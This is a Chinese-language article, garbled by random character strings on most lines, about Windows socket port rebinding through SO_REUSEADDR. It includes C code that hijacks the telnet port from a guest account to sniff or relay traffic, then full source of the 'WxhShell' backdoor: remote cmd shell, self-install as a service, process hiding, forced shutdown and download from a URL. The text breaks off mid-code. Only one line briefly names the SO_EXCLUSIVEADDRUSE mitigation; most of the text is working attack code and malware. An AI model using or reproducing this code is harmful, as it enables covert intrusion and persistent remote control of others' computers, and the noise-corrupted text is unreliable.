在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2/V%jS[4#y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
j_}:=3 |J:r]);@K saddr.sin_family = AF_INET;
~!5Qb{^ z{w %pUn} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZpOME@9, LkzA_|8:D bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:* ]#n XK/l1E3N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
j;y(to-e>D 62'9lriQ 这意味着什么?意味着可以进行如下的攻击:
4Ps;Cor+ zw+wq+2" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Hqs-q4G$ gAztdAsLM 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
N_B^k8j q|]CA 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_wb]tE ~g l\V1c90m 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'R-\6;3E>9 `~=z0I 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
w{[^ NnHaHX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
aBaiXv/* *Us}E7/"' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
L(Twclrb {vW0O &[ #include
\rUKP""m #include
8VQ!&^9!U# #include
5;/q[oXI #include
YV|_y:- DWORD WINAPI ClientThread(LPVOID lpParam);
A+dx7anUz int main()
A. tGr(r {
}ixCbuD WORD wVersionRequested;
z{1A x DWORD ret;
U&R)a|
7R WSADATA wsaData;
\VOv&s;h BOOL val;
OZf@cOTWK SOCKADDR_IN saddr;
.EHq.cde SOCKADDR_IN scaddr;
2Ul8<${c{ int err;
EHf,VIC8 SOCKET s;
V~/@KU8cH SOCKET sc;
'9.@r\g int caddsize;
NV/paoyx:* HANDLE mt;
iOv>g-t: DWORD tid;
=e# h;x2 wVersionRequested = MAKEWORD( 2, 2 );
:'<;]~f err = WSAStartup( wVersionRequested, &wsaData );
/P9fcNP{y if ( err != 0 ) {
B;8Zl m9 printf("error!WSAStartup failed!\n");
O-p`9(_m return -1;
wI
7gHp }
#P}n+w_@ saddr.sin_family = AF_INET;
|gxPuAXa) tF/Ni*\^rV //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
# =y)Wuo= 7w9'xY saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
tx<^PV2 saddr.sin_port = htons(23);
PDS( /x& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7@gH{p1 {
Q wG_- printf("error!socket failed!\n");
=d"5kDK-m return -1;
LD?\gK" }
)mN/e+/Lu val = TRUE;
7\g#'#K //SO_REUSEADDR选项就是可以实现端口重绑定的
(:E@kpK if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
S`b!sT-sD {
;/4x.t#b printf("error!setsockopt failed!\n");
dB#c$1 return -1;
pO)EYla9 }
"eTALRL'o //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
cjGN=|`u //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
*u|1Z%XO //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5
Slz^@n x5\D u63 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@.k^ 8hc {
M'R
] '' ret=GetLastError();
F~rl24F printf("error!bind failed!\n");
l{^s4 return -1;
v36Z*I6)5 }
x4LPrF1 listen(s,2);
^b5+A6? while(1)
Z5U\>7@&8 {
o58c!44 caddsize = sizeof(scaddr);
"S'Yn- //接受连接请求
(m Yi sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
K5`*Y@ if(sc!=INVALID_SOCKET)
g.62XZF@ {
f0^s<:* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
fsEQ4xN' if(mt==NULL)
a"O;DYh {
p]y.N)a printf("Thread Creat Failed!\n");
n;=FD;}j+ break;
SnUR?k1 }
eF7I5k4 }
7y30TU CloseHandle(mt);
5/U{b5 }
[8Z#HjhQ closesocket(s);
;m.6 ~A WSACleanup();
eTgtt-;VR return 0;
Ug0c0z!b }
,{(XT7hr DWORD WINAPI ClientThread(LPVOID lpParam)
{*8G<& {
=6\^F i SOCKET ss = (SOCKET)lpParam;
rZB='(? SOCKET sc;
x.pg3mVd> unsigned char buf[4096];
J1gnR SOCKADDR_IN saddr;
$A,YQH+ long num;
WZ!zUUp}V DWORD val;
oVp/EQ DWORD ret;
rzie_)a Y% //如果是隐藏端口应用的话,可以在此处加一些判断
2)$-L'YS //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
jFKp~`/# saddr.sin_family = AF_INET;
(#85<|z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6Xo "?f saddr.sin_port = htons(23);
1K|F;p if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
x{ `{j' {
3]}RjOTU printf("error!socket failed!\n");
M?('VOy) return -1;
.C+(E@ey A }
P =Q+VIP& val = 100;
RiQg]3oY if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Jo;&~/V
{
N5K2Hv<" ret = GetLastError();
1Lje.%(E. return -1;
dS Tyx#o }
~9k E. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m&q0 _nay {
|XNw&X1VF ret = GetLastError();
47{5{/B- return -1;
{/5aF_0D. }
{=J: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
}C["'tLX {
|}YxxeAk printf("error!socket connect failed!\n");
G9jf]Ye; closesocket(sc);
)'7Qd(4WT closesocket(ss);
O+<+yQl return -1;
"8?Fl&=Q }
qvWi; while(1)
eYkg4 O' {
5"1wz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_e8v12s //如果是嗅探内容的话,可以再此处进行内容分析和记录
If&y 5C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
x2HISxg num = recv(ss,buf,4096,0);
PMbq5 if(num>0)
T <k;^iqR send(sc,buf,num,0);
D-i, C~W else if(num==0)
6'uCwAQU break;
aYc<C$:NC" num = recv(sc,buf,4096,0);
b-<@3N.9] if(num>0)
726UO#* send(ss,buf,num,0);
Y+g(aak+. else if(num==0)
WLVkrTvX break;
>P} XCAU }
<RC %< closesocket(ss);
rhaq!s38: closesocket(sc);
hc0 $mit return 0 ;
#E\6:UnT }
|)&d9|] 5{DwD{Q 69:-c@L0 ==========================================================
X6w+L?A Y1ca=ewFx 下边附上一个代码,,WXhSHELL
d9jD?HgM( }?6;;d# ==========================================================
pz/W#VN !v%>W< 3Q #include "stdafx.h"
!.pcldx }C/+zF6q #include <stdio.h>
l(F\5Ys #include <string.h>
}|M:MJ` #include <windows.h>
\3K7)o^ #include <winsock2.h>
GA[bo)" #include <winsvc.h>
c3#eL #include <urlmon.h>
H{9P=l [wQJVYv #pragma comment (lib, "Ws2_32.lib")
;:R2 P@6f #pragma comment (lib, "urlmon.lib")
CZ$B2i6 ;0?OBUDO #define MAX_USER 100 // 最大客户端连接数
:mLXB75gH #define BUF_SOCK 200 // sock buffer
MwQt/Qv= #define KEY_BUFF 255 // 输入 buffer
fiU#\%uJg # SJJ@SM #define REBOOT 0 // 重启
W
9}xfy09 #define SHUTDOWN 1 // 关机
BKE ?o^03 ]WcN6|b+ #define DEF_PORT 5000 // 监听端口
w0H#M)c :1bDkoK #define REG_LEN 16 // 注册表键长度
(@^ySiU #define SVC_LEN 80 // NT服务名长度
H;tE= \K%M.>]vq // 从dll定义API
1L7^g* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:Zob"*T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]Z=al`- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
v7#|% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
[[N${ C %" l; // wxhshell配置信息
o#z$LT1dY struct WSCFG {
lt2MB# int ws_port; // 监听端口
xA-?pLt"G char ws_passstr[REG_LEN]; // 口令
q*a~9.i@ int ws_autoins; // 安装标记, 1=yes 0=no
}ksp(.}G char ws_regname[REG_LEN]; // 注册表键名
MujEjD "| char ws_svcname[REG_LEN]; // 服务名
+7_U(|gO char ws_svcdisp[SVC_LEN]; // 服务显示名
0fUsERr1* char ws_svcdesc[SVC_LEN]; // 服务描述信息
&U}8@; char ws_passmsg[SVC_LEN]; // 密码输入提示信息
*|CvK&7 int ws_downexe; // 下载执行标记, 1=yes 0=no
-rgdKA@)( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
yUxz,36wZ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
II~91IEk : vgn0IQ };
sD{Wc%5 kw2d<I$] // default Wxhshell configuration
`2x. - struct WSCFG wscfg={DEF_PORT,
^rjUye%EK "xuhuanlingzhe",
7ju38@+ 1,
r[GH#vF;7 "Wxhshell",
XsFzSm "Wxhshell",
WT1y7+_g(d "WxhShell Service",
kFyp;=d:K "Wrsky Windows CmdShell Service",
Lg#(?tMp,' "Please Input Your Password: ",
{7%HK2=' 1,
\\Q){\S "
http://www.wrsky.com/wxhshell.exe",
,Sy&?t}` "Wxhshell.exe"
C6@*l~j };
^mC,Z+! tc\ZYCFr // 消息定义模块
`cN8AcRHP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
vv^y
V"0Y char *msg_ws_prompt="\n\r? for help\n\r#>";
aXZi 2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
y;<}` char *msg_ws_ext="\n\rExit.";
'<1Cta` char *msg_ws_end="\n\rQuit.";
Zp<#( OIu char *msg_ws_boot="\n\rReboot...";
Q0x?OL] A char *msg_ws_poff="\n\rShutdown...";
dIhfp7| char *msg_ws_down="\n\rSave to ";
xpwy%uo M_r[wYt! char *msg_ws_err="\n\rErr!";
)<_qTd0` char *msg_ws_ok="\n\rOK!";
2*Pk1vrI !u
.n char ExeFile[MAX_PATH];
Iij$ce`nx int nUser = 0;
O2="'w'kR HANDLE handles[MAX_USER];
~ kDJ-V int OsIsNt;
'}bmDb* &o1k_!25 SERVICE_STATUS serviceStatus;
8xhx*A SERVICE_STATUS_HANDLE hServiceStatusHandle;
A 2A_F|f v.u 5% // 函数声明
Xrpvq(] int Install(void);
C>,> _ int Uninstall(void);
5tLb
o int DownloadFile(char *sURL, SOCKET wsh);
|Sua4~yL( int Boot(int flag);
=#<bB)59 void HideProc(void);
y"U)&1 c% int GetOsVer(void);
CY[3%7fv int Wxhshell(SOCKET wsl);
mh SknyqT void TalkWithClient(void *cs);
1~LfR int CmdShell(SOCKET sock);
v*<rNZI int StartFromService(void);
pFwJ: int StartWxhshell(LPSTR lpCmdLine);
u!F\`Gfm_ r_
B.bK VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
C=cn.CX VOID WINAPI NTServiceHandler( DWORD fdwControl );
]?oJxW. pQC|_T#u // 数据结构和表定义
s| Q1;%Tj SERVICE_TABLE_ENTRY DispatchTable[] =
*n[B Bz {
c813NHW {wscfg.ws_svcname, NTServiceMain},
<X1lq9 lW {NULL, NULL}
_p'@.P };
$\~cWpv w1VYU> // 自我安装
"5sA&^_#_ int Install(void)
,IE.8h)H {
S{f,EBE char svExeFile[MAX_PATH];
}:;UnE} HKEY key;
C+5X8 strcpy(svExeFile,ExeFile);
Fr;
's(^ ZW0\_1 // 如果是win9x系统,修改注册表设为自启动
V7p
hD3Y if(!OsIsNt) {
IXR'JZ?fH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'RzO`-dr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
u=vBjaN2_w RegCloseKey(key);
gG}H5uN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M7 kWJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
a)Pr&9I RegCloseKey(key);
;Bzx}7A return 0;
#:/27 }
,&o^}TFkg }
_G'A]O/BZD }
x#zj0vI-8 else {
c14d0x{ uGqeT#dP // 如果是NT以上系统,安装为系统服务
<hTHY E= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Ht\2 IP if (schSCManager!=0)
.]JIo&>5 {
T{"Ur:p SC_HANDLE schService = CreateService
n~}[/ly (
k)X\z@I' schSCManager,
W3\E;C-g0 wscfg.ws_svcname,
2 >j0,2 wscfg.ws_svcdisp,
YPNW%N!$| SERVICE_ALL_ACCESS,
-/0\_zq7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Q4a7g$^ SERVICE_AUTO_START,
e#mqerpJ SERVICE_ERROR_NORMAL,
2k^rZ^^" svExeFile,
n00J21 NULL,
_<Ij)#Rq7 NULL,
>D}|'.& NULL,
(c^ {T) NULL,
;BT7pyu%[ NULL
3/yt );
dC-~=}HR^ if (schService!=0)
{x_cgsn {
',t*:GBZCf CloseServiceHandle(schService);
Rt&5s)O' CloseServiceHandle(schSCManager);
y@1QVt04 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
.y3E@0a strcat(svExeFile,wscfg.ws_svcname);
Th*}U& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
0chpC)#Q3; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
l}/&6hI+d RegCloseKey(key);
HpfZgkC+ return 0;
H)"]I3 }
yg*
#~, }
W83PMiN"T- CloseServiceHandle(schSCManager);
z/f._Z( }
V@b7$z }
H^@Hco>| A|:+c*7] return 1;
RjPkH$u'Pj }
7wPI)]$ rBi<Yy$z // 自我卸载
r `n|fD. int Uninstall(void)
x;E/ {
0R[fH HKEY key;
m{X{h4t S<cz2FlV if(!OsIsNt) {
Pc< "qy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:9%e:- RegDeleteValue(key,wscfg.ws_regname);
bu_@A^ys RegCloseKey(key);
^RT_Lky if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Fw{@RQf8 RegDeleteValue(key,wscfg.ws_regname);
.35~+aqC RegCloseKey(key);
V\{@c%xW return 0;
M<*Tp^Y' }
~OPBZ# }
|)Dm.)/0) }
!t"/w6X1I else {
"c]9Q% {k-_+#W" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
GA[D@Wy if (schSCManager!=0)
UIU:^g0 {
/HhA2 (g% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
S Z/yijf if (schService!=0)
bPP@ {
3HYdb|y if(DeleteService(schService)!=0) {
A%F8w'8( CloseServiceHandle(schService);
g'7\WQ CloseServiceHandle(schSCManager);
!&g_hmnIF return 0;
]BbV\# }
etiUt~W CloseServiceHandle(schService);
M:%g)FgW }
K{/i2^4 CloseServiceHandle(schSCManager);
t,8?Tf+i }
p#]9^oA }
<3@nv% O TlqJ return 1;
oST)E5X;7 }
eLORG(;h4 @-\=`#C** // 从指定url下载文件
xZ;eV76 int DownloadFile(char *sURL, SOCKET wsh)
<Z 3C&BM {
~K3Lbd|
r HRESULT hr;
/}>8|#U3y char seps[]= "/";
^\Q,ACkZb char *token;
2)|=+DN; char *file;
GQY"
+xa8] char myURL[MAX_PATH];
jLI1Ed char myFILE[MAX_PATH];
y] D\i5Xv \y=28KKc:c strcpy(myURL,sURL);
zNrn|(Y%Y token=strtok(myURL,seps);
Q5Nbu90 while(token!=NULL)
3!gz^[!?EN {
#t(/wa4 file=token;
JU^Y27 token=strtok(NULL,seps);
VV/T)qEe7> }
/4pYhJ8S
lqL5V"2Y GetCurrentDirectory(MAX_PATH,myFILE);
t`|Rn9- strcat(myFILE, "\\");
@YH>|{S& strcat(myFILE, file);
4_j_!QH87 send(wsh,myFILE,strlen(myFILE),0);
ov, send(wsh,"...",3,0);
V'W*'wo hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ro<w8V9.a if(hr==S_OK)
p.g> +7 return 0;
IO"P /Q else
TsoxS/MI" return 1;
c|9g=DjK a]V8F&)g# }
h~Z &L2V zc;kNkV#1Y // 系统电源模块
KO#kIM- int Boot(int flag)
k# Ho7rS& {
kJf0..J[#< HANDLE hToken;
8\'tfHL TOKEN_PRIVILEGES tkp;
=lk'[P/p` $A{$$8P if(OsIsNt) {
f:~G) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/N*<Fq7w~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Nh^I{%.x tkp.PrivilegeCount = 1;
!9$}1_,is tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
db_?da;!` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
R0*P,~L;| if(flag==REBOOT) {
{-m e;ayk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@^ YXE, return 0;
cRr3!<EZ }
;r"r1'a+@ else {
%gFIu.c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
l6w\E=K return 0;
e#h&Xa }
P(7el }
Qfy_@w] else {
Ji!i}UjD7! if(flag==REBOOT) {
i_AD3Jrs if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Y96<c" t return 0;
eF{uWus }
5ILKYUg, else {
^i_v\E[QU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
yQj J-g(. return 0;
af>i }
L,#YP#O,j }
2'M5+[8y8 c)^A|{,G return 1;
AhOBbss]q }
v}t{*P 4+d(d // win9x进程隐藏模块
@aUNyyVP void HideProc(void)
)hO%W| {
k}<H l}^ziY! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
=#9#unvE! if ( hKernel != NULL )
qG
20 {
yY UAH- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
j1{`}\e ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
}6%\/d1~ 6 FreeLibrary(hKernel);
t-C|x)J+ }
zsQkI@)sO r-EIoZ"P return;
Y)]VlV!` }
C/N;4 a9NuYYr,h // 获取操作系统版本
jmq^98jB int GetOsVer(void)
&glh >9:G {
Pz2Q]}(w OSVERSIONINFO winfo;
~gZ1*8 s` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
[olSgq!3 GetVersionEx(&winfo);
v ,h"u if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
aDX&j2/ return 1;
GR*sk#{ else
Hc\@{17 return 0;
=2GKv7q$x, }
u?SwGXi~8 cOpe6H6,bz // 客户端句柄模块
tk'&-v'h int Wxhshell(SOCKET wsl)
wVf 7<@/y {
mk~CE SOCKET wsh;
|-/@3gPO struct sockaddr_in client;
L6nsVL& DWORD myID;
F^Jz
k^K76m B while(nUser<MAX_USER)
o ?05bv {
g fAWN int nSize=sizeof(client);
@YaI5> ,/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
pd: YR; if(wsh==INVALID_SOCKET) return 1;
AG vhSd7 vYXh WqL~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
td\gk if(handles[nUser]==0)
s1W n.OGR4 closesocket(wsh);
6 A]a@,PC else
3*%+NQIj nUser++;
{_\dwe9 }
5X];?(VTsb WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Px?"5g#+ 1nvT={'R return 0;
[Pp#r&4H }
8irTGA +[n#{;]< // 关闭 socket
v.:Q& ] void CloseIt(SOCKET wsh)
`/R. 5;$| {
z$m(@Q closesocket(wsh);
hUvA;E(qD nUser--;
;
Gv-$0{P3 ExitThread(0);
g6DIWMoO=h }
WixEnsJ \+U;$.)3 // 客户端请求句柄
#Cs/.(< void TalkWithClient(void *cs)
c%b|+4
}x {
7],y(:[=v P;gd!Yl<- SOCKET wsh=(SOCKET)cs;
{*hGe_^ char pwd[SVC_LEN];
{y@8E>y5$ char cmd[KEY_BUFF];
=$#5Ge]b char chr[1];
OC,yL Q int i,j;
4n(w{W> .%W.uF^ while (nUser < MAX_USER) {
45%D^~2~F M"K $.m@t if(wscfg.ws_passstr) {
d<=!*#q;o if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/03Wst //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P>~Usuf4 //ZeroMemory(pwd,KEY_BUFF);
@Bkg< i=0;
RlvvO while(i<SVC_LEN) {
q%A>q;l: e9:pS WA-n // 设置超时
Q8l vwip fd_set FdRead;
gxI/MD~!> struct timeval TimeOut;
c(8>oeKyD FD_ZERO(&FdRead);
k:j?8o3 FD_SET(wsh,&FdRead);
`]19}GK~xo TimeOut.tv_sec=8;
M!gu`@@}F TimeOut.tv_usec=0;
CUC]-]8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
#]Do_Z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;cL+=! nHXPEbq-g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/:\27n pwd
=chr[0]; dKDCJt]t
if(chr[0]==0xd || chr[0]==0xa) { u0? TMy.%
pwd=0; Jz&dC
break; IJPyCi)
} OOnj(%g
i++; t^6ams$
} 2|RxowXZ"
^l
;Bo3^_
// 如果是非法用户,关闭 socket !_c6 `oW
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z8D,[`
} I)*J,hs1
Z!'kN\z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g?j^d:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
}7fzEo`g
b/#<::D `
while(1) { ib]<;t
rfgsas{F
ZeroMemory(cmd,KEY_BUFF); i6;rh-M?.
p ~+sk1[.
// 自动支持客户端 telnet标准 l%
%c U"
j=0; 7:$dl#
while(j<KEY_BUFF) { 4RQ38%> >j
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3|3ad'
cmd[j]=chr[0]; B<@a&QBTg
if(chr[0]==0xa || chr[0]==0xd) { MScUrW!TA
cmd[j]=0; v33[Rk'
break; Fo
,8"m
} _ qQ
j++; m^/>C-&C
} *z~J ]
4 #lLC-k
// 下载文件 y^{4}^u-^
if(strstr(cmd,"http://")) { \j
we
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5(Q-||J
if(DownloadFile(cmd,wsh)) FS?1O"_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Skux&'N:
else !([ v=O#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Qp]r+!
} C<^S$
else { b3GTsX\2|
cZWW[i
switch(cmd[0]) { D[YdPg@-
9(Kff nE^
// 帮助 iN@|08
case '?': { <P Vmr2Jp"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W^H[rX}=
break; lKRp9isn^
} >Mm.MNU
// 安装 3] U/^f3
case 'i': { %uP/v\l
if(Install()) TUp%Cx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]@}@G[e#[
else &(x>J:b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sJg3WN
break; TQ {8 ee{
} f,@~@f
X
// 卸载 HE2t0sAYX
case 'r': { /cZcfCW
if(Uninstall()) AZJ|.mV q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]InDcE
else ,zBc-Cm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d _=44( -
break; ydzvjp=
} cf_X=;yaqy
// 显示 wxhshell 所在路径 .e S* F
case 'p': { )B5U0iIi
char svExeFile[MAX_PATH]; VOmS>'$
strcpy(svExeFile,"\n\r"); $@dPIq4o;}
strcat(svExeFile,ExeFile); U[@B63];0
send(wsh,svExeFile,strlen(svExeFile),0); n2(\pQKm
break; =G rg
} h{E9rc1,
// 重启 lg jY\?
case 'b': { LyNur8 Zi
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x1#6~283
if(Boot(REBOOT)) )YLZ"@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _p+q)#.W
else { *b1NVN$
closesocket(wsh); B8V85R
ExitThread(0); 6y@o[=m
}
ck`$ `
break; q1%xk=8
} Sa6YqOel@
// 关机 "9H#pj -
case 'd': { JCITIjD7=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J8`vk#5
if(Boot(SHUTDOWN)) f%STkL)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IS!]!s'EI
else { Lb2/ Te*
closesocket(wsh); mgEZiAV ?
ExitThread(0); =Ajw(I[56
} n]wZ7z
break; M""X_~&I"
} 79M`?xm
// 获取shell y;LZX-Z-
case 's': { ?kc,}/4
CmdShell(wsh); 7I6&*I
closesocket(wsh); pkA(\0E8
ExitThread(0); W4AFa>h
break; G9>
0w)r
} `XbV*{7
// 退出 ?)+I'lW!
case 'x': { ?~~,?Uxw!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NVo=5
CloseIt(wsh); <ZeZq
break; d!q)FRzi
} wQ9fPOm
// 离开 mY]R~:
case 'q': { DzvGR)>/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )XD$YI
closesocket(wsh); rEZMX2
WSACleanup(); cU=EXyP%
exit(1); HBgt!D0MZ
break; MqswYK-s
} Y<`uq'V
} S
5nri(m
} c<g{&YJ
N%QVkuCbM
// 提示信息 q^kOyA.
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z <tJ+
} l,M?
} ;z^C\=om
J$i5A9IUr
return; W6uz
G
} H9T'{R*FC
09rbu\h
// shell模块句柄 |=4imM7
int CmdShell(SOCKET sock) e?!A]2
{ *.NVc
STARTUPINFO si; 3+$~l5LY
ZeroMemory(&si,sizeof(si)); '|l1-yD_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @,v.Y6Ge
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o%=OBTh_
PROCESS_INFORMATION ProcessInfo; =P<7tsSuoK
char cmdline[]="cmd"; go$zi5{h#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PWThm ooP
return 0; bIahjxd:
} ojZvgF
]l4#KI@
// 自身启动模式
^iaG>rvA
int StartFromService(void) ?Dk&5d^d
{ MHkTN
typedef struct OfGMeN6
{ WfE,U=e*
DWORD ExitStatus; Z-,'M tD
DWORD PebBaseAddress; v-mhqhb
DWORD AffinityMask; YYUWBnf30G
DWORD BasePriority; Fv"jKZPgzz
ULONG UniqueProcessId; X8 (,
,>_
